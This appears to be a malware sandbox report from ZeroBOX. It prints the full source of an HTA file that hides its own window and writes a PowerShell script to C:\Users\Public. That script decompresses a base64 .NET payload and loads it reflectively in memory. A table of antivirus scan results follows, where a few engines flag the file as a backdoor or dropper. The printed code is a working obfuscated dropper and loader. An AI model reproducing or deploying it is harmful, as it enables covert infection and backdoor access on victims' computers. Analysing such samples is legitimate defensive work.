Static | ZeroBOX
No static analysis available.
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -7000,-7000
hdkl = "Scripting.FileSystemObject"
Set dd = CreateObject(hdkl)
vcx = "C:\Users\Public\install.ps1"
Set setsz = dd.CreateTextFile(vcx,True)
setsz.WriteLine "try"
setsz.WriteLine "{"
setsz.WriteLine "$HLHKDKRKTKHKCKDKED = @'"
setsz.WriteLine "jLcHWFPP1j6KiBRREZEiIEVAOqggPURFQEBEQHqJiPQS6SWQ2BDpghSlRUV6ifSeSO9Eek/oHQIECCXlgr9zznfu/e7/uXdn9l5rzayZede71uxnR9f8E9VZKioqmpObQqGiqqL657pH9f99vT65L/HWXKIqY+jhrzrzuIf/maOTF98rT7CDp40bn62NuzvYm++FHZ+njzufkzvfQz1DPjfwSzupixfPC/5rjafqVFSPz5yleuMt/vvf605TUZ9hPENPRSVGTUVF/09f+qMTne/fHvf+0an/wU1F9T+S6hv1336qv8PPQ6ioLv9t/yP/I/7Z/2RdnVPl+ckk2v+3IKmpLpyI35rUVAr/Pzj5z8X3H+h/L/oT+9F/2VLedv7eJ/KnyL/iEvsf3P+1xHMpTy9P21OD9r8wSvzfHe+dNClPO1fwieOFf2H+u9ad/+X34H+F9+gfn1Ns1FTnqO7JUlO9ZqGiOvPXpqL9dpKob0zU/89p/8eLU+RkMq2YPRVfFSMVlcjJMuep2KJOKuzMaaDnqcRuUovQnCpUYlQst6ipFKn+7sVMBT150lwlnzlPK3GDyvPEePXnZBa1yLkTZ/BJ0Oe96E4ejHSvT/3+8b4gTkUvdjKf5dYZKsZ/8J6sc1oU58VPMNygoj4lgkbs3+Nn/46f/c84tciFv5CMvU4yRSty8cTwPsFG/frURewBtSStJ+AEhxg1+NLJ0Cnes1TmVH9rjVmE6RTXSSWdP8/GKK5GS5d8gR7MfGJeZABfORHUf5/XTtk4L8HHAL56IkVOoqal/h/1X6PU9GJ07KaMdLTRTncqr4qdxkNDdfNkn5PQmfmo7p2h+svfeXGGs7RsdGDW09Vp2U68wWwnqhCj5PLJHK4TLi3/KRNmEfZTWNSewBPwYI7TLVRPtr32lz42L84TecGL6xQqPcMpA7QMbM5g7hObgYUGw00vQUsPvn5iTdJJ0NL9o/1rthgzjdgZ7lOeBag4Aac5PNW5qCQ0/9F
setsz.WriteLine "'@"
setsz.WriteLine "$jtwC = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::'FromBase64String'($HLHKDKRKTKHKCKDKED),[IO.Compression.CompressionMode]::Decompress)"
setsz.WriteLine "$H1 = New-Object Byte[](144384)"
setsz.WriteLine "$jtwC.Read($H1, 0, 144384) | Out-Null"
setsz.WriteLine "[Byte[]] $MyPt = [System.IO.Path]::([System.Threading.Thread]::'GetDomain'().'Load'($H1).'EntryPoint'.Invoke($Null,$Null))"
setsz.WriteLine "[Object[]] $Params=@($MyPt.Replace(""Framework64"",""Framework"") ,$H1)"
setsz.WriteLine "[System.Threading.Thread]::Sleep(1000)"
setsz.WriteLine "return $T.GetMethod('Run').Invoke($null, $Params)"
setsz.WriteLine "} catch { }"
setsz.Close
</script>
<body>
</body>
</HEAD>
</HTML>
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Clean
CAT-QuickHeal Clean
McAfee Clean
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Arcabit Clean
BitDefenderTheta Clean
Cyren Clean
Symantec Clean
ESET-NOD32 Clean
Baidu Clean
TrendMicro-HouseCall Clean
Avast Clean
Cynet Clean
Kaspersky Backdoor.PowerShell.Agent.df
BitDefender Clean
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Clean
Rising Trojan.Injector/PS!1.D9B4 (CLASSIC)
Ad-Aware Clean
Sophos Clean
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition BehavesLike.HTML.Dropper.cg
CMC Clean
Emsisoft Clean
Ikarus Clean
Jiangmin Clean
Avira Clean
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Microsoft Clean
SUPERAntiSpyware Clean
ZoneAlarm Clean
GData Clean
AhnLab-V3 Clean
Acronis Clean
VBA32 Clean
ALYac Clean
MAX Clean
Zoner Clean
Tencent Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet Clean
Panda Clean
No IRMA results available.